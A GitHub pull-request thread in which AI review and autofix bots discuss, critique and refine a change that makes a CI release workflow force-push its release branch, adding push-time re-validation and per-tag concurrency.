fix(ci): force-push release branch so retries replace failed attempts (#9076) - #9082
Conversation
…#9076) Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
Autofix E2E Report — Issue #9076 (Release Failed for v0.21.12-preview.0)Root causeThe Evidence from the failed run (actions/runs/31683228236), the run history, and remote refs:
FixThe publish job now force-pushes the release branch, so a retry replaces a stale branch left by a failed earlier attempt instead of dying on a non-fast-forward rejection. First-time attempts are unaffected (force-pushing a ref that does not exist simply creates it). The force is safe by construction: the version computation increments the version whenever anything was already published for it, so when the publish job reaches this push, no npm package, tag, or release can exist for this version — nothing can have shipped, and the stale branch tip can only be a prior bump commit (the finalize/changelog flow only runs after a release is published). A regression pin was added to the release-workflow script tests. Note for the stuck release: GitHub Actions evaluates the workflow from the dispatched ref, so retries dispatched before this change lands still carry the old push command; once it is on the released ref (or merged to main and re-dispatched), the next attempt replaces Verification
中文说明Autofix E2E 报告 — Issue #9076(v0.21.12-preview.0 发布失败)根因
证据来自失败运行(actions/runs/31683228236)、运行历史与远端引用:
修复publish 任务现在对发布分支执行强制推送(force-push),重试会替换失败尝试留下的陈旧分支,而不是死于 non-fast-forward 拒绝。首次尝试不受影响(强制推送一个不存在的引用只会创建它)。该强制推送在构造上是安全的:只要该版本已有任何发布产物,版本计算就会递增版本号,因此当 publish 任务执行到此推送时,该版本不可能存在 npm 包、tag 或 release —— 没有任何东西已经发布,陈旧分支的 tip 只可能是上一次的 bump 提交(finalize/changelog 流程只在 release 发布后运行)。同时在 release-workflow 脚本测试中加入了回归固定(regression pin)。 对当前卡住的发布的说明:GitHub Actions 使用被触发 ref 上的 workflow 文件,因此在本次修改落地之前触发的重试仍然携带旧的推送命令;一旦修改存在于被发布的 ref(或合入 main 后重新触发),下一次尝试会自动替换 验证
🧠 Handled by Qwen Code · model/模型 |
|
Thanks for the PR! Template looks good ✓ Problem: observed, verified. Release run 864 (the one linked from #9076) died exactly where this PR says — the Direction: aligned, with one policy flag. A release that can never be retried after a post-push failure is a real operational hole, and fixing it in the workflow is the right place. That said, this touches the release pipeline itself, so it needs a maintainer's sign-off before merge regardless of how clean the review is. Size: not applicable — no core package paths; 2 files, +17/−1. Approach: minimal, and the right variant. One word ( Risk: no high-risk-path signal from the revert history. The elevated sensitivity here is the release pipeline itself (see direction), not the file paths. Moving on to code review, with the merge decision held for a maintainer. 🔍 中文说明感谢贡献! 模板完整 ✓ 问题:已观测、已核实。 Release run 864(即 #9076 关联的那次)正是死在本 PR 所述的位置——在 run 863 推送分支、随后在 "Build Standalone Archives" 失败之后,run 864 在 "Commit and Conditionally Push package versions" 步骤报 方向:对齐,但有一个策略标记。 发布在分支推送之后失败就永远无法重试,这是一个真实的运维漏洞,在 workflow 里修复是正确的位置。不过,本 PR 触及 release 流水线本身,无论 review 多干净,合入前都需要 maintainer 确认。 规模: 不适用——未触及核心包路径;2 个文件,+17/−1。 方案:最小改动,且选对了变体。 一个词( 风险: revert 历史的高风险路径无命中。此处的敏感性来自 release 流水线本身(见方向),而不是文件路径。 进入代码审查,合入决定留给 maintainer。🔍 — Qwen Code · qwen3.8-max Reviewed at |
Code reviewMy independent proposal for this problem was exactly what the PR does: plain
No blockers. Two non-blocking notes: the invariant rests on ordering (version computation → push → publish), which the PR itself flags in Risk & Scope — worth keeping in mind if the flow ever changes. And two same-version runs dispatched concurrently could still race, but that race is pre-existing and not widened by this change. TestingThis is an unattended CI run, so no PR code was built or executed here — the evidence is the PR's own CI, quoted below. The unit suite (which contains the new Final CI results for
One row per check name (latest run); skipped checks omitted; failures sort first. / 每个检查名一行(取最新一次运行),省略 skipped,失败项排在最前。 Sandboxed verification would settle the command-level claim: 中文说明代码审查:我对这个问题的独立方案与 PR 完全一致——在非 dry-run 路径对 release 分支推送加 测试:本次为无人值守 CI 运行,未构建或执行任何 PR 代码——证据是 PR 自身的 CI 结果(见上方表格,由 finalize 任务在检查完成后原地更新)。单元测试套件(含新增的 release-workflow 固定测试)在审查时仍在运行。未验证:真实的发布重试——PR CI 从不执行真实发布,端到端的"重试可以成功"依赖 workflow 改动本身与事故日志,而非本套件。沙箱验证可补齐命令级证据: — Qwen Code · qwen3.8-max Reviewed at |
|
Confidence: 3/5 — clean review, but a release-pipeline change needs a maintainer's sign-off, so this defers instead of approving. Stepping back: this is exactly the fix I would have written. The diff is the minimal change — one word, a comment carrying the safety argument, and a test pin — and it matches the repo's existing workflow-test conventions. I didn't stop at the PR's framing: the non-fast-forward rejection is visible in run 864's own log, and the "nothing shipped, so the stale tip is only a prior bump" invariant checks out against The reason I'm not approving is policy, not doubt: this changes push semantics in the release pipeline, and its safety rests on an ordering invariant (version computation → push → publish) that the release process owns. That is a judgment call for the release-pipeline maintainer — the PR itself lists it as reviewer item #5 — and release-pipeline changes don't get auto-approved here. Also worth noting there's no urgency lever: the stuck release was already cleared manually (run 865 shipped ⏸️ Deferring to @wenshao — the change is sound and verified as far as static review and the incident logs go, but force-pushing release branches is a release-pipeline policy decision that needs a human call on this one. 中文说明整体看:这正是我会写的修复。diff 是最小改动——一个词、一段承载安全性论证的注释、一个固定测试——并且符合仓库既有的 workflow 测试约定。我没有停留在 PR 的自我陈述:non-fast-forward 拒绝在 run 864 的日志里清晰可见;"无发布产物、陈旧 tip 只可能是上一次 bump"的不变量我对照 不批准的原因是策略而非疑虑:本改动改变了发布流水线的推送语义,其安全性依赖发布流程自己维护的顺序不变量(版本计算 → 推送 → 发布),这属于 release 流水线维护者的判断——PR 自己也把它列为审阅项 #5——release 流水线的改动在这里不做自动批准。另外无需着急:卡住的发布已被手动解除(run 865 已发布 v0.21.12-preview.1),可以从容等待人工确认。审查时该提交的 CI 仍在运行(单元测试套件),与本次转交决定无关。 ⏸️ 转交 @wenshao——改动合理且已尽静态审查与事故日志所能验证,但对 release 分支强制推送属于发布流水线策略决定,需要人工拍板。 — Qwen Code · qwen3.8-max Reviewed at |
Code Coverage Summary
CLI Package - Full Text ReportCore Package - Full Text ReportFor detailed HTML reports, please see the 'coverage-reports-22.x-ubuntu-latest' artifact from the main CI run. |
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
No issues found. LGTM! ✅
Not explored to full depth (tool budget reached): "PR #9082 changes the release publish job in…": the concurrent-run scenario is static reasoning — I cannot execute two overlapping workflow runs from this environment to observe the divergence empirically; th…; "PR #9082 changes the release publish job in…": running the real npm run test:scripts suite (blocked on a full npm install in the worktree); the assertion was verified by faithful replication instead.; "You are review agent reverse-audit — Reverse audit agent…": none — no check was left unfinished at the ceiling.; "You are review agent reverse-audit — Reverse audit agent…": none — I finished every check I planned. I used about 13-14 tool calls.; "You are review agent reverse-audit — Reverse audit agent…": none — all planned checks completed (~14 tool calls)..
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Test Plan (not a blocker): release/v0.21.12-preview.0 — no such file or directory.
中文说明
未发现问题。LGTM!✅
未探索到全部深度(达到工具调用预算):"PR #9082 changes the release publish job in…":the concurrent-run scenario is static reasoning — I cannot execute two overlapping workflow runs from this environment to observe the divergence empirically; th…;"PR #9082 changes the release publish job in…":running the real npm run test:scripts suite (blocked on a full npm install in the worktree); the assertion was verified by faithful replication instead.;"You are review agent reverse-audit — Reverse audit agent…":none — no check was left unfinished at the ceiling.;"You are review agent reverse-audit — Reverse audit agent…":none — I finished every check I planned. I used about 13-14 tool calls.;"You are review agent reverse-audit — Reverse audit agent…":none — all planned checks completed (~14 tool calls).。
未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
Test Plan(非阻断):release/v0.21.12-preview.0 — no such file or directory。
— qwen3.8-max via Qwen Code /review (v0.21.11)
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not explored to full depth (tool budget reached): "PR #9082 changes the release publish job in…": vitest itself was not executed (no node_modules in the worktree) — the pin test's string assertion was verified directly against the file instead.; "PR #9082 changes the release publish job in…": did not confirm actions/checkout fetch-depth:0's exact refspec behavior, which only affects the --force-with-lease variant of the suggested fix, not the findi…; "PR #9082 changes the release publish job in…": Could not actually execute npx vitest run scripts/tests/release-workflow.test.js because node_modules is not installed in the review worktree; verified the so…; "PR #9082 changes the release publish job in…": did not execute the vitest suite live (no node_modules in the review worktree); the sole runtime assertion was verified statically.; "PR #9082 changes the release publish job in…": remote branch-protection/ruleset settings for release/** on QwenLM/qwen-code (force-push allowance) — not inspectable from the repo; would only change the fai…, and 1 more.
Not reviewed: reverse audit — stopped before round 4 by the review time budget.
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Test Plan (not a blocker): release/v0.21.12-preview.0 — no such file or directory.
中文说明
仅完成部分审查,审查缺口已披露。
未探索到全部深度(达到工具调用预算):"PR #9082 changes the release publish job in…":vitest itself was not executed (no node_modules in the worktree) — the pin test's string assertion was verified directly against the file instead.;"PR #9082 changes the release publish job in…":did not confirm actions/checkout fetch-depth:0's exact refspec behavior, which only affects the --force-with-lease variant of the suggested fix, not the findi…;"PR #9082 changes the release publish job in…":Could not actually execute npx vitest run scripts/tests/release-workflow.test.js because node_modules is not installed in the review worktree; verified the so…;"PR #9082 changes the release publish job in…":did not execute the vitest suite live (no node_modules in the review worktree); the sole runtime assertion was verified statically.;"PR #9082 changes the release publish job in…":remote branch-protection/ruleset settings for release/** on QwenLM/qwen-code (force-push allowance) — not inspectable from the repo; would only change the fai…,另有 1 条。
未审查:反向审计——评审时间预算不足,未能开始第 4 轮。
未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
Test Plan(非阻断):release/v0.21.12-preview.0 — no such file or directory。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| # computed version with no npm package, tag, or release behind it | ||
| # cannot have shipped, so the stale tip is only a prior bump. | ||
| git push --force --set-upstream origin "${BRANCH_NAME}" --follow-tags |
There was a problem hiding this comment.
[Critical] R2-2: Force-push invariant is stale by push time — concurrent same-version runs can silently diverge npm artifacts, git tag, and main
The safety invariant this comment relies on is evaluated once, in prepare (doesVersionExist in scripts/get-release-version.js), but this push executes in publish — after the quality/integration/prebuild jobs and the production-release environment approval gate, tens of minutes to hours later — with no re-validation, and there is no concurrency: group anywhere in release.yml (all eight sibling release-family workflows have one). --force removed the non-fast-forward rejection, which was the only serialization that ran at push time.
Failure scenario: two overlapping runs compute the same version (a retry of a stalled-looking run, a double dispatch, or cron overlapping a manual dispatch; explicit version inputs and preview derivation guarantee identical computed versions). Run A pushes tree A and publishes the npm packages from tree A. Run B's force push then silently replaces the tip with tree B; the per-package npm view skips keep the npm artifacts as tree A's; gh release create --target "${RELEASE_BRANCH}" resolves the branch tip at call time; finalize-release.yml merges whatever the tip is into main. Every interleaving leaves npm vX, git tag vX, and main content permanently inconsistent. (The losing run errors at gh release create and notify_failure files an issue, but the run that shipped can be fully green with mismatched artifacts.)
Note on the triage thread: the concurrent same-version race was judged "pre-existing and not widened by this change". Verified against the diff's removed line: before this change the losing run's plain push was atomically rejected non-fast-forward before any artifact step (loud, non-mutating); after it, both pushes succeed and the last writer moves the branch that the other run's tag and main-merge anchor to — silent state corruption, i.e. a widened outcome.
Suggested fix — re-verify the invariant immediately before the push and abort if it no longer holds, and/or serialize the job (regular code blocks because the fix spans locations):
# on the publish job (a workflow-level group cannot reference needs.* outputs)
concurrency:
group: release-publish-${{ needs.prepare.outputs.release_tag }}
cancel-in-progress: falseif npm view "@qwen-code/qwen-code@${RELEASE_VERSION}" version >/dev/null 2>&1 \
|| gh release view "${RELEASE_TAG}" >/dev/null 2>&1 \
|| git ls-remote --exit-code origin "refs/tags/${RELEASE_TAG}" >/dev/null 2>&1; then
echo "::error::release artifacts already exist for ${RELEASE_TAG} — refusing to force-push"
exit 1
fi中文说明
本注释所依赖的安全不变量只在 prepare 中求值一次(scripts/get-release-version.js 的 doesVersionExist),而此推送发生在 publish —— 在 quality/integration/prebuild 任务与 production-release 环境审批门禁之后,相隔数十分钟乃至数小时 —— 期间没有任何重新校验,且 release.yml 全文没有 concurrency: 组(其余八个 release 系列 workflow 均有)。--force 移除了 non-fast-forward 拒绝 —— 那是唯一在推送时刻生效的串行化机制。
失败场景:两次重叠的运行计算出相同版本(对疑似卡住运行的重试、重复派发,或定时任务与手动派发重叠;显式 version 输入与 preview 版本推导保证计算出完全相同的版本)。Run A 推送 tree A 并从 tree A 发布 npm 包;随后 run B 的强制推送悄悄将分支 tip 替换为 tree B;逐包 npm view 跳过逻辑使 npm 产物保持为 tree A;gh release create --target "${RELEASE_BRANCH}" 在调用时解析分支 tip;finalize-release.yml 会把彼时的 tip 合入 main。任意交错顺序都会使 npm vX、git tag vX 与 main 内容永久不一致。(失败的一方会在 gh release create 报错,notify_failure 会建 issue,但真正发布成功的那次运行可以全绿而产物互不一致。)
关于本线程此前"同版本并发竞争既有、未被放大"的判断:已对照本 diff 删除的行核实 —— 改动前,后到运行的普通推送会在任何产物步骤之前被原子地拒绝(non-fast-forward,响亮且不产生副作用);改动后,两次推送都成功,最后写入者移动了另一运行的 tag 与 main 合并所依赖的分支 —— 静默的状态损坏,即被放大的后果。
建议修复:在推送前立即重新校验不变量、不再成立则中止,和/或为任务加串行化(代码块见上方英文部分)。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| expect(workflow).toContain( | ||
| 'git push --force --set-upstream origin "${BRANCH_NAME}" --follow-tags', | ||
| ); |
There was a problem hiding this comment.
[Suggestion] R2-3: Pin test is position-free — it stays green if the force push escapes the dry-run guard
This pin matches the push command anywhere in the file, so it stays green if a future edit moves git push --force ... out of the if [[ "${IS_DRY_RUN}" == "false" ]] guard (or inverts the guard), and no other test pins this guard. Verified by mutation probe: lifting the force push out of the guard keeps the suite 7/7 green, while the guarded regex below fails the mutation and passes pristine. The sibling test above pins its gate and ordering together with a multi-line regex, and the dry-run contract (release.yml:21) promises "no branches, npm packages or GitHub releases will be created" — a force push outside the guard would turn a dry-run leak into a destructive overwrite.
Concrete cost: a dry_run: true dispatch force-overwrites release/<tag> on origin while this test still passes.
| expect(workflow).toContain( | |
| 'git push --force --set-upstream origin "${BRANCH_NAME}" --follow-tags', | |
| ); | |
| expect(workflow).toMatch( | |
| /if \[\[ "\$\{IS_DRY_RUN\}" == "false" \]\]; then[\s\S]*?git push --force --set-upstream origin "\$\{BRANCH_NAME\}" --follow-tags/, | |
| ); |
中文说明
该固定测试只在文件任意位置匹配推送命令,因此未来若有编辑把 git push --force ... 移出 if [[ "${IS_DRY_RUN}" == "false" ]] 保护(或反转条件),测试仍为绿色,且没有其他测试固定此保护。突变探针确认:把强制推送移出保护后套件仍为 7/7 全绿;下方带保护的 regex 对该突变失败、对原代码通过。同文件上方的兄弟测试以多行 regex 同时固定门禁与顺序,且 release.yml:21 的 dry-run 契约承诺"不会创建任何分支、npm 包或 GitHub release" —— 保护外的强制推送会使 dry-run 泄漏变成破坏性覆盖。
具体代价:dry_run: true 派发会在 origin 上强制覆盖 release/<tag>,而本测试仍然通过。
— qwen3.8-max via Qwen Code /review (v0.21.11)
prepare's doesVersionExist check runs minutes to hours before publish pushes (validation jobs and the production-release approval gate sit in between), and --force removed the non-fast-forward rejection that used to serialize the push itself. Concurrent same-version runs could therefore diverge the npm artifacts, the git tag, and main. Serialize publish per release tag and re-validate the unshipped invariant — every published package, the tag, and the release — immediately before the push; pin all three invariants in the workflow tests. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
|
🤖 Addressed the latest review feedback (round 1/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 1/10 轮)。改动内容与我反驳保留之处如下: Review feedback addressed — PR #9082 (issue #9076)Commit: No merge conflicts; 1. [Critical] R2-2 — force-push invariant is stale by push time (rc:3781157140)Decision: addressed (implemented). The finding was verified against the code: The fix applies both halves of the suggested remedy:
Together these restore and strengthen the pre-change safety property: the realistic interleavings (retry of a stalled-looking run, double dispatch, cron overlapping a manual dispatch) now abort loudly before mutating anything, while a retry after a genuinely failed attempt still replaces the stale branch. 2. [Suggestion] R2-3 — pin test is position-free (rc:3781157142)Decision: addressed (implemented), with a stronger pin than suggested. The existing test's Verified by mutation probe (file backed up and restored around each probe): push lifted out of the guard → fails; guard inverted → fails; recheck dropped → fails; concurrency dropped → fails; loop Conflict notesNone ( VerificationCommands actually run, in order:
中文说明已处理的审查反馈 — PR #9082(issue #9076)提交: 无合并冲突;未合并 1. [Critical] R2-2 — 强制推送的不变量到推送时已过期(rc:3781157140)决定:已处理(已实现)。 该发现已对照代码核实: 修复同时采用了建议方案的两个部分:
两者结合,恢复并加强了改动前的安全属性:现实的交错场景(对疑似卡住运行的重试、重复派发、定时任务与手动派发重叠)现在会在产生任何变更之前响亮地中止,而真正失败后的重试仍然可以替换过期分支。 2. [Suggestion] R2-3 — 固定测试与位置无关(rc:3781157142)决定:已处理(已实现),且固定(pin)比建议的更强。 原测试的 已通过突变探针验证(每次探针前后均备份并还原文件):推送移出保护 → 失败;保护反转 → 失败;删除重新校验 → 失败;删除并发组 → 失败;删除循环中的 冲突说明无( 验证实际执行的命令(按顺序):
Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 10 this bot stops and leaves the PR for a human. · 有空请复审;第 10 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Reviewed. Suggestions are inline.
Not explored to full depth (tool budget reached): "You are review agent reverse-audit — Reverse audit agent…": none — all checks above completed within budget.; "Context: PR #9082 (QwenLM/qwen-code) force-pushes the…": none — all planned checks (diff, both source files, test file, cross-workflow blast radius, needs -context validity) were completed within budget.; "Context: PR #9082 (QwenLM/qwen-code) force-pushes the…": none — all checks I started completed within budget.; "Context: PR #9082 (QwenLM/qwen-code) force-pushes the…": full npm run test:scripts vitest run not executed (worktree has no node_modules); substituted with direct node -e execution of the three exact regexes again….
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Test Plan (not a blocker): release/v0.21.12-preview.0 — no such file or directory.
中文说明
已审查。 建议见行内评论。
未探索到全部深度(达到工具调用预算):"You are review agent reverse-audit — Reverse audit agent…":none — all checks above completed within budget.;"Context: PR #9082 (QwenLM/qwen-code) force-pushes the…":none — all planned checks (diff, both source files, test file, cross-workflow blast radius, needs -context validity) were completed within budget.;"Context: PR #9082 (QwenLM/qwen-code) force-pushes the…":none — all checks I started completed within budget.;"Context: PR #9082 (QwenLM/qwen-code) force-pushes the…":full npm run test:scripts vitest run not executed (worktree has no node_modules); substituted with direct node -e execution of the three exact regexes again…。
未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
Test Plan(非阻断):release/v0.21.12-preview.0 — no such file or directory。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| for pkg in \ | ||
| @qwen-code/qwen-code \ | ||
| @qwen-code/audio-capture \ |
There was a problem hiding this comment.
[Suggestion] R3-2: The published-package manifest is hardcoded a second time here, with no parity enforcement
This loop copies the 10-package PUBLISHED_PACKAGES list from scripts/get-release-version.js verbatim (a third copy counting the publish-step channel allowlist), even though the comment above names doesVersionExist as the invariant being re-validated — and nothing keeps the copies in sync.
Failure scenario: when an 11th package joins the release set (a new channel is the obvious case), the author updating PUBLISHED_PACKAGES gets no compiler/test/CI signal about this YAML copy. The push-time guard then silently skips that package; if a same-version run shipped only the new package, re-validation passes and git push --force replaces the branch tip the shipped package, tag, and merge-to-main anchor to. A mutation probe confirmed deleting any middle package from this loop keeps every test green, so such drift fails silently.
Suggested fix — one owner for the invariant at push time too: an assert mode on the existing script (node scripts/get-release-version.js --assert-unreleased "$RELEASE_VERSION", exit 1 on conflict, keeping the stronger remote git ls-remote tag check and abort semantics), or at minimum a test asserting this list equals PUBLISHED_PACKAGES.
中文说明
此循环逐字复制了 scripts/get-release-version.js 中 10 个包的 PUBLISHED_PACKAGES 列表(若计入 publish 步骤的 channel allowlist 则是第三份副本),尽管上方注释明确说明重新校验的不变量是 doesVersionExist —— 且没有任何机制保持各副本同步。
失败场景:当第 11 个包加入发布集(新 channel 是最常见的情况)时,更新 PUBLISHED_PACKAGES 的作者不会收到任何关于此 YAML 副本的编译器/测试/CI 信号。推送时防护将悄悄跳过该包;若同版本运行仅发布了该新包,重新校验会通过,git push --force 将替换已发布包、tag 与 merge-to-main 所依赖的分支 tip。突变探针确认:删除循环中任意中间包后所有测试仍为绿色,因此此类漂移会静默失败。
建议修复:让该不变量在推送时刻也有唯一归属 —— 为现有脚本增加断言模式(node scripts/get-release-version.js --assert-unreleased "$RELEASE_VERSION",冲突时 exit 1,保留更强的远端 git ls-remote tag 检查与中止语义);或至少增加一个测试断言此列表与 PUBLISHED_PACKAGES 相等。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| concurrency: | ||
| group: 'release-publish-${{ needs.prepare.outputs.release_tag }}' | ||
| cancel-in-progress: false |
There was a problem hiding this comment.
[Suggestion] R3-3: Dry runs serialize against — and queue ahead of — real same-tag releases
The group key omits is_dry_run, so dry-run publishes — which push no branch (the push is inside the IS_DRY_RUN == "false" guard), publish with --dry-run only, and create no tag/release — occupy the same group as the real release for the same tag.
Failure scenario: a maintainer pre-flights vX with dry_run: true (the dispatch default), then dispatches the real vX while the dry run's publish job is still in flight. The production publish queues behind the dry run's full build/publish pass (tens of minutes), or indefinitely behind one sitting unattended at the production-release approval gate — pure delay with zero protection gained.
Suggested fix — key dry runs into their own group (is_dry_run is already a prepare output):
group: 'release-publish-${{ needs.prepare.outputs.release_tag }}-${{ needs.prepare.outputs.is_dry_run }}'中文说明
并发组的键未包含 is_dry_run,因此 dry-run 发布 —— 不推送分支(推送位于 IS_DRY_RUN == "false" 保护内)、仅以 --dry-run 发布、不创建 tag/release —— 会与同 tag 的正式发布占用同一并发组。
失败场景:维护者先用 dry_run: true(dispatch 默认值)预演 vX,随后在 dry run 的 publish 任务仍在运行时正式派发 vX。正式发布将排队等待 dry run 完整的 build/publish 流程(数十分钟),或无限期等待停留在 production-release 审批门禁处的无人值守运行 —— 纯延迟,毫无保护收益。
建议修复:将 dry run 划入独立的组(is_dry_run 已是 prepare 的输出):
group: 'release-publish-${{ needs.prepare.outputs.release_tag }}-${{ needs.prepare.outputs.is_dry_run }}'— qwen3.8-max via Qwen Code /review (v0.21.11)
| ); | ||
| }); | ||
|
|
||
| it('re-validates that the version is still unshipped right before force-pushing', () => { |
There was a problem hiding this comment.
[Suggestion] R3-4: This pin survives one-line regressions of the guard it pins
The regex only anchors the first and last of the 10 loop packages, plus the unanchored shape of the guard. Mutation probes applied to release.yml show each of these one-line edits keeps the suite green:
- delete any middle package from the loop (e.g.
@qwen-code/audio-capture) — silently narrows the guard; - delete the
|| gh release view "${RELEASE_TAG}"clause — silently narrows it, although this test's own comment says it pins "the tag, and the release"; - delete the
RELEASE_VERSIONenv line this same diff adds to the push step — the guard then fails closed on every release (npm view pkg@resolves tolatest→ exit 0 → "already published"): loud, but still green here; - invert the condition to
if ! npm view …— likewise green.
Failure scenario: a future edit drops a middle package or the gh release view clause; this pin stays green, the guard silently narrows, and a retry or concurrent run force-pushes over a version whose release or middle-list package already shipped — the exact regression this test exists to catch.
Suggested fix — assert the loop's package set equals PUBLISHED_PACKAGES from scripts/get-release-version.js (export it or parse it), pin the RELEASE_VERSION env line in the push step's env block, anchor the condition start (if npm view "\$\{pkg\}@…), and pin the gh release view clause.
中文说明
该 regex 只固定了循环 10 个包中的第一个和最后一个,外加未锚定的防护形状。对 release.yml 施加的突变探针表明,以下任一单行修改都能让套件保持绿色:
- 删除循环中任意中间包(如
@qwen-code/audio-capture)—— 悄悄收窄防护; - 删除
|| gh release view "${RELEASE_TAG}"子句 —— 悄悄收窄防护,尽管本测试自己的注释声称固定了 "tag 与 release"; - 删除同一 diff 为推送步骤添加的
RELEASE_VERSION环境变量行 —— 防护随后对每次发布都失败关闭(npm view pkg@解析为latest→ exit 0 → "已发布"):响亮失败,但测试仍为绿色; - 将条件反转为
if ! npm view …—— 同样为绿色。
失败场景:未来某次编辑删掉了中间包或 gh release view 子句;本固定测试仍为绿色,防护被悄悄收窄,重试或并发运行会对已发布 release 或中间列表包的版本执行强制推送 —— 正是本测试本应捕获的回归。
建议修复:断言循环中的包集合与 scripts/get-release-version.js 的 PUBLISHED_PACKAGES 相等(将其导出或解析),固定推送步骤 env 块中的 RELEASE_VERSION 行,锚定条件起始(if npm view "\$\{pkg\}@…),并固定 gh release view 子句。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| # rejection that used to serialize the push itself. Queued, not | ||
| # cancelled, so a retry that waits out a failed run still gets to | ||
| # replace its stale branch. |
There was a problem hiding this comment.
[Suggestion] R3-5: The comment overstates the concurrency guarantee — pending queued runs ARE cancelled
The comment asserts queued same-tag retries are "Queued, not cancelled", but GitHub Actions cancels any previously pending run in a concurrency group when a newer run queues — cancel-in-progress: false protects only in-progress runs (docs.github.com: "any existing pending job or workflow in the same concurrency group will be canceled"). The serialization invariant itself holds (whichever run survives performs the identical replace-or-refuse re-validation), so this is not a correctness hole — but the stated guarantee that a specific waiting retry survives the queue is false.
Failure scenario: run A for tag vX is in progress; retry B queues pending; a third dispatch C for vX (e.g. a force_skip_tests re-dispatch — an input this workflow explicitly supports) silently cancels B. During an incident, a maintainer trusting "still gets to replace its stale branch" reads B's cancelled status as an unrelated failure or a cancellation nobody issued.
Suggested fix — reword to the actual guarantee: at most one run pushes/publishes a given tag at a time; the latest queued same-tag run survives, and any earlier queued same-tag run is superseded. The sibling comment in scripts/tests/release-workflow.test.js (the serializes publish jobs per release tag test) makes the same assertion and needs the same rewording.
中文说明
注释声称同 tag 的排队重试"排队而不会被取消",但 GitHub Actions 在新运行入队时会取消并发组中任何先前处于 pending 状态的运行 —— cancel-in-progress: false 只保护正在运行(in-progress)的运行(docs.github.com:"any existing pending job or workflow in the same concurrency group will be canceled")。串行化不变量本身仍然成立(无论哪个运行存活,都会执行相同的"替换或拒绝"重新校验),因此这不是正确性漏洞 —— 但"某个特定等待中的重试一定能在队列中存活"这一保证是错误的。
失败场景:tag vX 的运行 A 正在执行;重试 B 排队等待;第三次派发 C(例如 force_skip_tests 重新派发 —— 本 workflow 明确支持的输入)会悄悄取消 B。事故处理期间,信任"仍能替换其陈旧分支"的维护者会把 B 的 cancelled 状态误读为无关故障或一次无人发起的取消。
建议修复:将措辞改为实际保证 —— 同一时刻至多一个运行推送/发布给定 tag;最后入队的同 tag 运行存活,任何更早入队的同 tag 运行被取代。scripts/tests/release-workflow.test.js 中 serializes publish jobs per release tag 测试的兄弟注释有相同断言,需同样修改措辞。
— qwen3.8-max via Qwen Code /review (v0.21.11)
|
🤖 Addressed the latest review feedback (round 2/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 2/10 轮)。改动内容与我反驳保留之处如下: Autofix review round summary — PR #9082 (issue #9076)All four round-3 suggestions are addressed in one commit: Feedback points and dispositionsR3-2 (release.yml:432) — published-package manifest hardcoded a second time — Implemented (suggested assert mode). R3-3 (release.yml:346) — dry runs serialize against real same-tag releases — Implemented (suggested group key). R3-4 (release-workflow.test.js:90) — the pin survives one-line regressions of the guard — Implemented.
R3-5 (release.yml:343) — comment overstates the concurrency guarantee — Implemented. Files changed
Verification
中文说明Autofix 审查轮次总结 — PR #9082(issue #9076)第三轮的 4 条建议已在一个提交中全部处理: 反馈点与处理决定R3-2(release.yml:432)—— 已发布包清单被第二次硬编码 —— 已实现(采用建议的断言模式)。 R3-3(release.yml:346)—— dry run 与同 tag 正式发布互相串行化 —— 已实现(采用建议的组键)。 R3-4(release-workflow.test.js:90)—— 固定测试能在防护发生单行回归时幸存 —— 已实现。
R3-5(release.yml:343)—— 注释夸大了并发保证 —— 已实现。 变更文件
验证
Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 10 this bot stops and leaves the PR for a human. · 有空请复审;第 10 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Reviewed. Suggestions are inline.
Not explored to full depth (tool budget reached): "PR #9082 (QwenLM/qwen-code) changes the release publish…": none — all checks above completed within budget.; "You are review agent reverse-audit — Reverse audit agent…": none — all checks I opened were completed within budget.; "PR #9082 (QwenLM/qwen-code) changes the release publish…": none — all checks I started completed; I did not run the repo-wide build/typecheck since the changed files are plain-JS scripts and YAML outside the TS packages…; "You are review agent reverse-audit — Reverse audit agent…": none — all planned checks completed within budget (~19 tool calls).; "PR #9082 (QwenLM/qwen-code) changes the release publish…": nothing material — everything I wanted to check I checked. Did I look at pr-force-push-reminder.yml? Irrelevant. Fine., and 1 more.
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Test Plan (not a blocker): release/v0.21.12-preview.0 — no such file or directory.
中文说明
已审查。 建议见行内评论。
